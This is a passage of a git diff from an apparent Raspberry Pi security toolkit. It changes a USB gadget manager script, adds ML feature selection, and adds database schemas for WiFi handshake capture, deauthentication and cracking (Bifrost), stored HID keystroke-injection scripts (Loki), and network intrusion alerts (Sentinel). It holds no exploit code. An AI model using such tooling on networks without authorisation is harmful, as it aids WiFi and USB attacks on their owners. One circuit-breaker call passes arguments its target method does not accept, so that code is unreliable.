"${RED}dtoverlay=dwc2 is not present.${NC}" + log "WARNING" "cmdline.txt not found" fi - # Check if systemd-networkd is enabled - echo -e "\n${YELLOW}systemd-networkd Service:${NC}" - if systemctl is-enabled --quiet systemd-networkd; then - systemctl is-active systemd-networkd && echo -e "${GREEN}systemd-networkd is active.${NC}" || echo -e "${RED}systemd-networkd is inactive.${NC}" + if [ -n "$config_file" ] && [ -f "$config_file" ]; then + grep -q "^dtoverlay=dwc2" "$config_file" && log "SUCCESS" "dtoverlay=dwc2 is present in ${config_file}" || log "WARNING" "dtoverlay=dwc2 not found in ${config_file}" else - echo -e "${RED}systemd-networkd is not enabled.${NC}" + log "WARNING" "config.txt not found" fi - echo -e "\n===== End of Information =====" + [ -f "$DNSMASQ_CONFIG" ] && log "SUCCESS" "${DNSMASQ_CONFIG} exists" || log "WARNING" "${DNSMASQ_CONFIG} is missing" + [ -f "$MODULES_LOAD_FILE" ] && log "INFO" "${MODULES_LOAD_FILE} exists (64-bit style module loading)" + [ -f "$MODULES_FILE" ] && grep -q "^libcomposite" "$MODULES_FILE" && log "INFO" "libcomposite is referenced in ${MODULES_FILE}" + [ -f "$INTERFACES_FILE" ] && grep -q "^allow-hotplug usb0" "$INTERFACES_FILE" && log "INFO" "usb0 legacy interface config detected in ${INTERFACES_FILE}" + + print_divider + log "SECTION" "Quick Recovery Hints" + log "INFO" "If RNDIS or HID is stuck, run: sudo $0 -r" + log "INFO" "If startup still fails, inspect logs with: sudo journalctl -u ${USB_GADGET_SERVICE} -f" + log "INFO" "If HID nodes never appear after installer changes, a reboot may still be required" +} + +bring_usb_gadget_down() { + ensure_root + print_divider + log "SECTION" "Bringing USB gadget down" + print_divider + + if service_exists "$USB_GADGET_SERVICE"; then + if service_active "$USB_GADGET_SERVICE"; then + log "INFO" "Stopping ${USB_GADGET_SERVICE}..." + if systemctl stop "$USB_GADGET_SERVICE"; then + log "SUCCESS" "Stopped ${USB_GADGET_SERVICE}" + else + log "ERROR" "Failed to stop ${USB_GADGET_SERVICE}" + show_recent_logs + return 1 + fi + else + log "INFO" "${USB_GADGET_SERVICE} is already stopped" + fi + else + log "WARNING" "${USB_GADGET_SERVICE} is not installed, trying direct runtime cleanup" + if [ -x "$USB_GADGET_SCRIPT" ]; then + "$USB_GADGET_SCRIPT" stop >> "$LOG_FILE" 2>&1 || true + fi + fi + + if [ -x "$USB_GADGET_SCRIPT" ] && [ -d /sys/kernel/config/usb_gadget/g1 ]; then + log "INFO" "Running direct gadget cleanup via ${USB_GADGET_SCRIPT} stop" + "$USB_GADGET_SCRIPT" stop >> "$LOG_FILE" 2>&1 || log "WARNING" "Direct cleanup reported a non-fatal issue" + fi + + if ip link show usb0 >/dev/null 2>&1; then + log "INFO" "Bringing usb0 interface down" + ip link set usb0 down >> "$LOG_FILE" 2>&1 || log "WARNING" "usb0 could not be forced down (often harmless)" + else + log "INFO" "usb0 is already absent" + fi + + [ -c /dev/hidg0 ] && log "WARNING" "/dev/hidg0 still exists after stop (may clear on next start/reboot)" || log "SUCCESS" "/dev/hidg0 is no longer exposed" + [ -c /dev/hidg1 ] && log "WARNING" "/dev/hidg1 still exists after stop (may clear on next start/reboot)" || log "SUCCESS" "/dev/hidg1 is no longer exposed" + ip link show usb0 >/dev/null 2>&1 && log "WARNING" "usb0 still exists after stop" || log "SUCCESS" "usb0 is no longer present" +} + +bring_usb_gadget_up() { + ensure_root + print_divider + log "SECTION" "Bringing USB gadget up" + print_divider + + if [ ! -x "$USB_GADGET_SCRIPT" ]; then + log "ERROR" "${USB_GADGET_SCRIPT} is missing. The gadget runtime is not installed." + return 1 + fi + + if service_exists "$USB_GADGET_SERVICE"; then + log "INFO" "Reloading systemd daemon" + systemctl daemon-reload >> "$LOG_FILE" 2>&1 || log "WARNING" "systemd daemon-reload reported an issue" + + log "INFO" "Starting ${USB_GADGET_SERVICE}..." + if systemctl start "$USB_GADGET_SERVICE"; then + log "SUCCESS" "Start command sent to ${USB_GADGET_SERVICE}" + else + log "ERROR" "Failed to start ${USB_GADGET_SERVICE}" + show_recent_logs + return 1 + fi + else + log "WARNING" "${USB_GADGET_SERVICE} is not installed, running ${USB_GADGET_SCRIPT} directly" + if "$USB_GADGET_SCRIPT" >> "$LOG_FILE" 2>&1; then + log "SUCCESS" "Runtime script executed directly" + else + log "ERROR" "Runtime script failed" + return 1 + fi + fi + + wait_for_condition "${USB_GADGET_SERVICE} to become active" 10 service_active "$USB_GADGET_SERVICE" || true + wait_for_condition "usb0 to appear" 12 usb0_exists || true + + if service_exists "$DNSMASQ_SERVICE"; then + log "INFO" "Restarting ${DNSMASQ_SERVICE} to refresh DHCP on usb0" + systemctl restart "$DNSMASQ_SERVICE" >> "$LOG_FILE" 2>&1 || log "WARNING" "Failed to restart ${DNSMASQ_SERVICE}" + fi + + [ -c /dev/hidg0 ] && log "SUCCESS" "/dev/hidg0 (keyboard) is ready" || log "WARNING" "/dev/hidg0 not present yet" + [ -c /dev/hidg1 ] && log "SUCCESS" "/dev/hidg1 (mouse) is ready" || log "WARNING" "/dev/hidg1 not present yet" + + if ip link show usb0 >/dev/null 2>&1; then + log "SUCCESS" "usb0 is present" + ip -brief addr show usb0 2>/dev/null || true + else + log "WARNING" "usb0 is still missing after startup" + fi + + log "INFO" "If HID is still missing after a clean start, a reboot can still be required depending on the board/kernel state" +} + +reset_usb_gadget() { + ensure_root + print_divider + log "SECTION" "Resetting USB gadget (down + up)" + print_divider + + bring_usb_gadget_down || log "WARNING" "Down phase reported an issue, continuing with recovery" + log "INFO" "Waiting 2 seconds before bringing the gadget back up" + sleep 2 + bring_usb_gadget_up } -# ============================================================ -# Function to Display the Main Menu -# ============================================================ display_main_menu() { while true; do clear - echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" - echo -e "${BLUE}║ USB Gadget Manager Menu by Infinition ║${NC}" - echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" - echo -e "${BLUE}║${NC} 1. Install USB Gadget ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 2. Uninstall USB Gadget ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 3. List USB Gadget Information ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 4. Show Help ${BLUE}║${NC}" - echo -e "${BLUE}║${NC} 5. Exit ${BLUE}║${NC}" - echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" - echo -e "Note: Ensure you run this script as root." - echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" - echo -n -e "${GREEN}Please choose an option (1-5): ${NC}" - read choice + print_divider + echo -e "${CYAN} BJORN USB Gadget Runtime Manager v${SCRIPT_VERSION}${NC}" + print_divider + echo -e "${BLUE} 1.${NC} Bring USB Gadget up" + echo -e "${BLUE} 2.${NC} Bring USB Gadget down" + echo -e "${BLUE} 3.${NC} Reset USB Gadget (down + up)" + echo -e "${BLUE} 4.${NC} List detailed USB Gadget status" + echo -e "${BLUE} 5.${NC} Show help" + echo -e "${BLUE} 6.${NC} Exit" + echo -e "" + echo -e "${YELLOW}Note:${NC} installation/removal is no longer handled here." + echo -n -e "${GREEN}Choose an option (1-6): ${NC}" + read -r choice - case $choice in + case "$choice" in 1) - install_usb_gadget + bring_usb_gadget_up echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 2) - uninstall_usb_gadget + bring_usb_gadget_down echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 3) - list_usb_gadget_info + reset_usb_gadget echo "" - read -p "Press Enter to return to the menu..." + read -r -p "Press Enter to return to the menu..." ;; 4) - show_usage + list_usb_gadget_info + echo "" + read -r -p "Press Enter to return to the menu..." ;; 5) - log "INFO" "Exiting USB Gadget Manager. Goodbye!" + show_usage return + echo "" + read -r -p "Press Enter to return to the menu..." + ;; + 6) + log "INFO" "Exiting BJORN USB Gadget Runtime Manager" exit 0 ;; *) - log "ERROR" "Invalid option. Please choose between 1-5." + log "ERROR" "Invalid option. Please choose between 1 and 6." sleep 2 ;; esac done } -# ============================================================ -# Process Command Line Arguments -# ============================================================ -while getopts ":fulh" opt; do - case $opt in - f) - install_usb_gadget - exit 0 - ;; - u) - uninstall_usb_gadget - exit 0 - ;; - l) - list_usb_gadget_info - exit 0 - ;; - h) - show_usage - ;; - \?) - echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2 - show_usage - ;; - esac +while getopts ":udrlhf" opt; do + case "$opt" in + u) + bring_usb_gadget_up + exit $? + ;; + d) + bring_usb_gadget_down + exit $? + ;; + r) + reset_usb_gadget + exit $? + ;; + l) + list_usb_gadget_info + exit 0 + ;; + h) + show_usage + ;; + f) + log "ERROR" "Option -f (install) has been removed. Use -u to bring the gadget up or -r to reset it." + show_usage + ;; + \?) + log "ERROR" "Invalid option: -$OPTARG" + show_usage + ;; + esac done -# ============================================================ -# Main Execution -# ============================================================ -# If no arguments are provided, display the menu if [ $OPTIND -eq 1 ]; then display_main_menu fi diff --git a/data_consolidator.py b/data_consolidator.py index a9c96ec..e2c1d5f 100644 --- a/data_consolidator.py +++ b/data_consolidator.py @@ -40,31 +40,38 @@ class DataConsolidator: Consolidates raw feature logs into training datasets. Optimized for Raspberry Pi Zero - processes in batches. """ - + def __init__(self, shared_data, export_dir: str = None): """ Initialize data consolidator - + Args: shared_data: SharedData instance export_dir: Directory for export files """ self.shared_data = shared_data self.db = shared_data.db - + if export_dir is None: # Default to shared_data path (cross-platform) self.export_dir = Path(getattr(shared_data, 'ml_exports_dir', Path(shared_data.data_dir) / "ml_exports")) else: self.export_dir = Path(export_dir) - + self.export_dir.mkdir(parents=True, exist_ok=True) # Server health state consumed by orchestrator fallback logic. self.last_server_attempted = False self.last_server_contact_ok = None self._upload_backoff_until = 0.0 self._upload_backoff_current_s = 0.0 - + + # AI-01: Feature variance tracking for dimensionality reduction + self._feature_variance_min = float( + getattr(shared_data, 'ai_feature_selection_min_variance', 0.001) + ) + # Accumulator: {feature_name: [sum, sum_of_squares, count]} + self._feature_stats = {} + logger.info(f"DataConsolidator initialized, exports: {self.export_dir}") def _set_server_contact_state(self, attempted: bool, ok: Optional[bool]) -> None: @@ -206,7 +213,10 @@ class DataConsolidator: feature_vector = self._build_feature_vector( host_features, network_features, temporal_features, action_features ) - + + # AI-01: Track feature variance for dimensionality reduction + self._track_feature_variance(feature_vector) + # Determine time window raw_ts = record['timestamp'] if isinstance(raw_ts, str): @@ -340,6 +350,72 @@ class DataConsolidator: logger.error(f"Error updating aggregated features: {e}") raise + # ═══════════════════════════════════════════════════════════════════════ + # AI-01: FEATURE VARIANCE TRACKING & SELECTION + # ═══════════════════════════════════════════════════════════════════════ + + def _track_feature_variance(self, feature_vector: Dict[str, float]): + """ + Update running statistics (mean, variance) for each feature. + Uses Welford's online algorithm via sum/sum_sq/count. + """ + for name, value in feature_vector.items(): + try: + val = float(value) + except (TypeError, ValueError): + continue + if name not in self._feature_stats: + self._feature_stats[name] = [0.0, 0.0, 0] + stats = self._feature_stats[name] + stats[0] += val # sum + stats[1] += val * val # sum of squares + stats[2] += 1 # count + + def _get_feature_variances(self) -> Dict[str, float]: + """Return computed variance for each tracked feature.""" + variances = {} + for name, (s, sq, n) in self._feature_stats.items(): + if n < 2: + variances[name] = 0.0 + else: + mean = s / n + variances[name] = max(0.0, sq / n - mean * mean) + return variances + + def _get_selected_features(self) -> List[str]: + """Return feature names that pass the minimum variance threshold.""" + threshold = self._feature_variance_min + variances = self._get_feature_variances() + selected = [name for name, var in variances.items() if var >= threshold] + dropped = len(variances) - len(selected) + if dropped > 0: + logger.info( + f"Feature selection: kept {len(selected)}/{len(variances)} features " + f"(dropped {dropped} near-zero variance < {threshold})" + ) + return sorted(selected) + + def _write_feature_manifest(self, selected_features: List[str], export_filepath: str): + """Write feature_manifest.json alongside the export file.""" + try: + variances = self._get_feature_variances() + manifest = { + 'created_at': datetime.now().isoformat(), + 'feature_count': len(selected_features), + 'min_variance_threshold': self._feature_variance_min, + 'features': { + name: {'variance': round(variances.get(name, 0.0), 6)} + for name in selected_features + }, + 'export_file': str(export_filepath), + } + manifest_path = self.export_dir / 'feature_manifest.json' + with open(manifest_path, 'w', encoding='utf-8') as f: + json.dump(manifest, f, indent=2) + logger.info(f"Feature manifest written: {manifest_path} ({len(selected_features)} features)") + except Exception as e: + logger.error(f"Failed to write feature manifest: {e}") + # ═══════════════════════════════════════════════════════════════════════ # EXPORT FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ @@ -411,6 +487,14 @@ class DataConsolidator: # Free the large records list immediately after export — record_ids is all we still need del records + # AI-01: Write feature manifest with variance-filtered feature names + try: + selected = self._get_selected_features() + if selected: + self._write_feature_manifest(selected, str(filepath)) + except Exception as e: + logger.error(f"Feature manifest generation failed: {e}") + # Create export batch record batch_id = self._create_export_batch(filepath, count) diff --git a/database.py b/database.py index 96dab24..e7d12fc 100644 --- a/database.py +++ b/database.py @@ -26,6 +26,9 @@ from db_utils.comments import CommentOps from db_utils.agents import AgentOps from db_utils.studio import StudioOps from db_utils.webenum import WebEnumOps +from db_utils.sentinel import SentinelOps +from db_utils.bifrost import BifrostOps +from db_utils.loki import LokiOps logger = Logger(name="database.py", level=logging.DEBUG) @@ -61,7 +64,10 @@ class BjornDatabase: self._agents = AgentOps(self._base) self._studio = StudioOps(self._base) self._webenum = WebEnumOps(self._base) - + self._sentinel = SentinelOps(self._base) + self._bifrost = BifrostOps(self._base) + self._loki = LokiOps(self._base) + # Ensure schema is created self.ensure_schema() @@ -138,7 +144,10 @@ class BjornDatabase: self._agents.create_tables() self._studio.create_tables() self._webenum.create_tables() - + self._sentinel.create_tables() + self._bifrost.create_tables() + self._loki.create_tables() + # Initialize stats singleton self._stats.ensure_stats_initialized() @@ -268,7 +277,27 @@ class BjornDatabase: def get_last_action_statuses_for_mac(self, mac_address: str) -> Dict[str, Dict[str, str]]: return self._queue.get_last_action_statuses_for_mac(mac_address) - + + # Circuit breaker operations + def record_circuit_breaker_failure(self, action_name: str, mac: str = '', + max_failures: int = 5, cooldown_s: int = 300) -> None: + return self._queue.record_circuit_breaker_failure(action_name, mac, max_failures, cooldown_s) + + def record_circuit_breaker_success(self, action_name: str, mac: str = '') -> None: + return self._queue.record_circuit_breaker_success(action_name, mac) + + def is_circuit_open(self, action_name: str, mac: str = '') -> bool: + return self._queue.is_circuit_open(action_name, mac) + + def get_circuit_breaker_status(self, action_name: str, mac: str = '') -> Optional[Dict[str, Any]]: + return self._queue.get_circuit_breaker_status(action_name, mac) + + def reset_circuit_breaker(self, action_name: str, mac: str = '') -> None: + return self._queue.reset_circuit_breaker(action_name, mac) + + def count_running_actions(self, action_name: Optional[str] = None) -> int: + return self._queue.count_running_actions(action_name) + # Vulnerability operations def add_vulnerability(self, mac_address: str, vuln_id: str, ip: Optional[str] = None, hostname: Optional[str] = None, port: Optional[int] = None): diff --git a/db_utils/bifrost.py b/db_utils/bifrost.py new file mode 100644 index 0000000..f937a5b --- /dev/null +++ b/db_utils/bifrost.py @@ -0,0 +1,116 @@ +""" +Bifrost DB operations — networks, handshakes, epochs, activity, peers, plugin data. +""" +import logging + +from logger import Logger + +logger = Logger(name="db_utils.bifrost", level=logging.DEBUG) + + +class BifrostOps: + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create all Bifrost tables.""" + + # WiFi networks discovered by Bifrost + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_networks ( + bssid TEXT PRIMARY KEY, + essid TEXT DEFAULT '', + channel INTEGER DEFAULT 0, + encryption TEXT DEFAULT '', + rssi INTEGER DEFAULT 0, + vendor TEXT DEFAULT '', + num_clients INTEGER DEFAULT 0, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + handshake INTEGER DEFAULT 0, + deauthed INTEGER DEFAULT 0, + associated INTEGER DEFAULT 0, + whitelisted INTEGER DEFAULT 0 + ) + """) + + # Captured handshakes + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_handshakes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ap_mac TEXT NOT NULL, + sta_mac TEXT NOT NULL, + ap_essid TEXT DEFAULT '', + channel INTEGER DEFAULT 0, + rssi INTEGER DEFAULT 0, + filename TEXT DEFAULT '', + captured_at TEXT DEFAULT CURRENT_TIMESTAMP, + uploaded INTEGER DEFAULT 0, + cracked INTEGER DEFAULT 0, + UNIQUE(ap_mac, sta_mac) + ) + """) + + # Epoch history + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_epochs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + epoch_num INTEGER NOT NULL, + started_at TEXT NOT NULL, + duration_secs REAL DEFAULT 0, + num_deauths INTEGER DEFAULT 0, + num_assocs INTEGER DEFAULT 0, + num_handshakes INTEGER DEFAULT 0, + num_hops INTEGER DEFAULT 0, + num_missed INTEGER DEFAULT 0, + num_peers INTEGER DEFAULT 0, + mood TEXT DEFAULT 'ready', + reward REAL DEFAULT 0, + cpu_load REAL DEFAULT 0, + mem_usage REAL DEFAULT 0, + temperature REAL DEFAULT 0, + meta_json TEXT DEFAULT '{}' + ) + """) + + # Activity log (event feed) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_activity ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT DEFAULT CURRENT_TIMESTAMP, + event_type TEXT NOT NULL, + title TEXT NOT NULL, + details TEXT DEFAULT '', + meta_json TEXT DEFAULT '{}' + ) + """) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_bifrost_activity_ts " + "ON bifrost_activity(timestamp DESC)" + ) + + # Peers (mesh networking — Phase 2) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_peers ( + peer_id TEXT PRIMARY KEY, + name TEXT DEFAULT '', + version TEXT DEFAULT '', + face TEXT DEFAULT '', + encounters INTEGER DEFAULT 0, + last_channel INTEGER DEFAULT 0, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + + # Plugin persistent state + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_plugin_data ( + plugin_name TEXT NOT NULL, + key TEXT NOT NULL, + value TEXT DEFAULT '', + PRIMARY KEY (plugin_name, key) + ) + """) + + logger.debug("Bifrost tables created/verified") diff --git a/db_utils/loki.py b/db_utils/loki.py new file mode 100644 index 0000000..04b0fa7 --- /dev/null +++ b/db_utils/loki.py @@ -0,0 +1,51 @@ +""" +Loki DB operations — HID scripts and job tracking. +""" +import logging + +from logger import Logger + +logger = Logger(name="db_utils.loki", level=logging.DEBUG) + + +class LokiOps: + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create all Loki tables.""" + + # User-saved HID scripts + self.base.execute(""" + CREATE TABLE IF NOT EXISTS loki_scripts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL UNIQUE, + description TEXT DEFAULT '', + content TEXT NOT NULL DEFAULT '', + category TEXT DEFAULT 'general', + target_os TEXT DEFAULT 'any', + created_at TEXT DEFAULT CURRENT_TIMESTAMP, + updated_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + + # Job execution history + self.base.execute(""" + CREATE TABLE IF NOT EXISTS loki_jobs ( + id TEXT PRIMARY KEY, + script_id INTEGER, + script_name TEXT DEFAULT '', + status TEXT DEFAULT 'pending', + output TEXT DEFAULT '', + error TEXT DEFAULT '', + started_at TEXT, + finished_at TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_loki_jobs_status " + "ON loki_jobs(status)" + ) + + logger.debug("Loki tables created/verified") diff --git a/db_utils/queue.py b/db_utils/queue.py index d72f663..243c68b 100644 --- a/db_utils/queue.py +++ b/db_utils/queue.py @@ -65,6 +65,20 @@ class QueueOps: WHERE status='scheduled'; """) + # Circuit breaker table for ORCH-01 + self.base.execute(""" + CREATE TABLE IF NOT EXISTS action_circuit_breaker ( + action_name TEXT NOT NULL, + mac_address TEXT NOT NULL DEFAULT '', + failure_streak INTEGER NOT NULL DEFAULT 0, + last_failure_at TEXT, + circuit_status TEXT NOT NULL DEFAULT 'closed', + opened_at TEXT, + cooldown_until TEXT, + PRIMARY KEY (action_name, mac_address) + ); + """) + logger.debug("Action queue table created/verified") # ========================================================================= @@ -398,6 +412,120 @@ class QueueOps: # HELPER METHODS # ========================================================================= + # ========================================================================= + # CIRCUIT BREAKER OPERATIONS (ORCH-01) + # ========================================================================= + + def record_circuit_breaker_failure(self, action_name: str, mac: str = '', + threshold: int = 3) -> None: + """Increment failure streak; open circuit if streak >= threshold.""" + now_str = self.base.query_one("SELECT datetime('now') AS ts")['ts'] + # Upsert the row + self.base.execute(""" + INSERT INTO action_circuit_breaker (action_name, mac_address, failure_streak, + last_failure_at, circuit_status) + VALUES (?, ?, 1, ?, 'closed') + ON CONFLICT(action_name, mac_address) DO UPDATE SET + failure_streak = failure_streak + 1, + last_failure_at = excluded.last_failure_at + """, (action_name, mac or '', now_str)) + + # Check if we need to open the circuit + row = self.base.query_one( + "SELECT failure_streak FROM action_circuit_breaker WHERE action_name=? AND mac_address=?", + (action_name, mac or '') + ) + if row and row['failure_streak'] >= threshold: + streak = row['failure_streak'] + cooldown_secs = min(2 ** streak * 60, 3600) + self.base.execute(""" + UPDATE action_circuit_breaker + SET circuit_status = 'open', + opened_at = ?, + cooldown_until = datetime(?, '+' || ? || ' seconds') + WHERE action_name=? AND mac_address=? + """, (now_str, now_str, str(cooldown_secs), action_name, mac or '')) + + def record_circuit_breaker_success(self, action_name: str, mac: str = '') -> None: + """Reset failure streak and close circuit on success.""" + self.base.execute(""" + INSERT INTO action_circuit_breaker (action_name, mac_address, failure_streak, + circuit_status) + VALUES (?, ?, 0, 'closed') + ON CONFLICT(action_name, mac_address) DO UPDATE SET + failure_streak = 0, + circuit_status = 'closed', + opened_at = NULL, + cooldown_until = NULL + """, (action_name, mac or '')) + + def is_circuit_open(self, action_name: str, mac: str = '') -> bool: + """Return True if circuit is open AND cooldown hasn't expired. + If cooldown has expired, transition to half_open and return False.""" + row = self.base.query_one( + "SELECT circuit_status, cooldown_until FROM action_circuit_breaker " + "WHERE action_name=? AND mac_address=?", + (action_name, mac or '') + ) + if not row: + return False + status = row['circuit_status'] + if status == 'closed': + return False + if status == 'open': + cooldown = row.get('cooldown_until') + if cooldown: + # Check if cooldown has expired + expired = self.base.query_one( + "SELECT datetime('now') >= datetime(?) AS expired", + (cooldown,) + ) + if expired and expired['expired']: + # Transition to half_open + self.base.execute(""" + UPDATE action_circuit_breaker SET circuit_status='half_open' + WHERE action_name=? AND mac_address=? + """, (action_name, mac or '')) + return False # Allow one attempt through + return True # Still in cooldown + # half_open: allow one attempt through + return False + + def get_circuit_breaker_status(self, action_name: str, mac: str = '') -> Optional[Dict[str, Any]]: + """Return full circuit breaker status dict.""" + row = self.base.query_one( + "SELECT * FROM action_circuit_breaker WHERE action_name=? AND mac_address=?", + (action_name, mac or '') + ) + return dict(row) if row else None + + def reset_circuit_breaker(self, action_name: str, mac: str = '') -> None: + """Manual reset of circuit breaker.""" + self.base.execute(""" + DELETE FROM action_circuit_breaker WHERE action_name=? AND mac_address=? + """, (action_name, mac or '')) + + # ========================================================================= + # CONCURRENCY OPERATIONS (ORCH-02) + # ========================================================================= + + def count_running_actions(self, action_name: Optional[str] = None) -> int: + """Count currently running actions, optionally filtered by action_name.""" + if action_name: + row = self.base.query_one( + "SELECT COUNT(*) AS cnt FROM action_queue WHERE status='running' AND action_name=?", + (action_name,) + ) + else: + row = self.base.query_one( + "SELECT COUNT(*) AS cnt FROM action_queue WHERE status='running'" + ) + return int(row['cnt']) if row else 0 + + # ========================================================================= + # HELPER METHODS + # ========================================================================= + def _format_ts_for_raw(self, ts_db: Optional[str]) -> str: """ Convert SQLite 'YYYY-MM-DD HH:MM:SS' to 'YYYYMMDD_HHMMSS'. diff --git a/db_utils/sentinel.py b/db_utils/sentinel.py new file mode 100644 index 0000000..687310c --- /dev/null +++ b/db_utils/sentinel.py @@ -0,0 +1,314 @@ +""" +Sentinel DB operations — events, rules, known devices baseline. +""" +import json +import logging +from typing import Any, Dict, List, Optional + +from logger import Logger + +logger = Logger(name="db_utils.sentinel", level=logging.DEBUG) + + +class SentinelOps: + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create all Sentinel tables.""" + + # Known device baselines — MAC → expected behavior + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_devices ( + mac_address TEXT PRIMARY KEY, + alias TEXT, + trusted INTEGER DEFAULT 0, + watch INTEGER DEFAULT 1, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + expected_ips TEXT DEFAULT '', + expected_ports TEXT DEFAULT '', + notes TEXT DEFAULT '' + ) + """) + + # Events / alerts log + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT DEFAULT CURRENT_TIMESTAMP, + event_type TEXT NOT NULL, + severity TEXT DEFAULT 'info', + title TEXT NOT NULL, + details TEXT DEFAULT '', + mac_address TEXT, + ip_address TEXT, + acknowledged INTEGER DEFAULT 0, + notified INTEGER DEFAULT 0, + meta_json TEXT DEFAULT '{}' + ) + """) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_sentinel_events_ts " + "ON sentinel_events(timestamp DESC)" + ) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_sentinel_events_type " + "ON sentinel_events(event_type)" + ) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_sentinel_events_ack " + "ON sentinel_events(acknowledged)" + ) + + # Configurable rules (AND/OR composable) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_rules ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + enabled INTEGER DEFAULT 1, + trigger_type TEXT NOT NULL, + conditions TEXT DEFAULT '{}', + logic TEXT DEFAULT 'AND', + actions TEXT DEFAULT '["notify_web"]', + cooldown_s INTEGER DEFAULT 60, + last_fired TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + + # ARP cache snapshots for spoof detection + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_arp_cache ( + mac_address TEXT NOT NULL, + ip_address TEXT NOT NULL, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (mac_address, ip_address) + ) + """) + + # Insert default rules if empty + existing = self.base.query("SELECT COUNT(*) AS c FROM sentinel_rules") + if existing and existing[0].get('c', 0) == 0: + self._insert_default_rules() + + def _insert_default_rules(self): + """Seed default Sentinel rules.""" + defaults = [ + { + "name": "New Device Detected", + "trigger_type": "new_device", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 0, + }, + { + "name": "Device Joined Network", + "trigger_type": "device_join", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 30, + }, + { + "name": "Device Left Network", + "trigger_type": "device_leave", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 30, + }, + { + "name": "ARP Spoofing Detected", + "trigger_type": "arp_spoof", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web", "notify_discord"]', + "cooldown_s": 10, + }, + { + "name": "Port Change on Host", + "trigger_type": "port_change", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 120, + }, + { + "name": "Rogue DHCP Server", + "trigger_type": "rogue_dhcp", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web", "notify_discord"]', + "cooldown_s": 60, + }, + ] + for rule in defaults: + self.base.execute( + """INSERT INTO sentinel_rules + (name, trigger_type, conditions, logic, actions, cooldown_s) + VALUES (?, ?, ?, ?, ?, ?)""", + (rule["name"], rule["trigger_type"], rule["conditions"], + rule["logic"], rule["actions"], rule["cooldown_s"]) + ) + + # ── Events ────────────────────────────────────────────────────────── + + def insert_event(self, event_type: str, severity: str, title: str, + details: str = "", mac: str = "", ip: str = "", + meta: Optional[Dict] = None) -> int: + return self.base.execute( + """INSERT INTO sentinel_events + (event_type, severity, title, details, mac_address, ip_address, meta_json) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (event_type, severity, title, details, mac, ip, + json.dumps(meta or {})) + ) + + def get_events(self, limit: int = 100, offset: int = 0, + event_type: str = "", unread_only: bool = False) -> List[Dict]: + sql = "SELECT * FROM sentinel_events WHERE 1=1" + params: list = [] + if event_type: + sql += " AND event_type = ?" + params.append(event_type) + if unread_only: + sql += " AND acknowledged = 0" + sql += " ORDER BY timestamp DESC LIMIT ? OFFSET ?" + params.extend([limit, offset]) + return self.base.query(sql, params) + + def count_unread(self) -> int: + row = self.base.query_one( + "SELECT COUNT(*) AS c FROM sentinel_events WHERE acknowledged = 0" + ) + return int(row.get("c", 0)) if row else 0 + + def acknowledge_event(self, event_id: int): + self.base.execute( + "UPDATE sentinel_events SET acknowledged = 1 WHERE id = ?", + (event_id,) + ) + + def acknowledge_all(self): + self.base.execute("UPDATE sentinel_events SET acknowledged = 1") + + def clear_events(self): + self.base.execute("DELETE FROM sentinel_events") + + # ── Rules ─────────────────────────────────────────────────────────── + + def get_rules(self) -> List[Dict]: + return self.base.query("SELECT * FROM sentinel_rules ORDER BY id") + + def get_enabled_rules(self, trigger_type: str = "") -> List[Dict]: + if trigger_type: + return self.base.query( + "SELECT * FROM sentinel_rules WHERE enabled = 1 AND trigger_type = ?", + 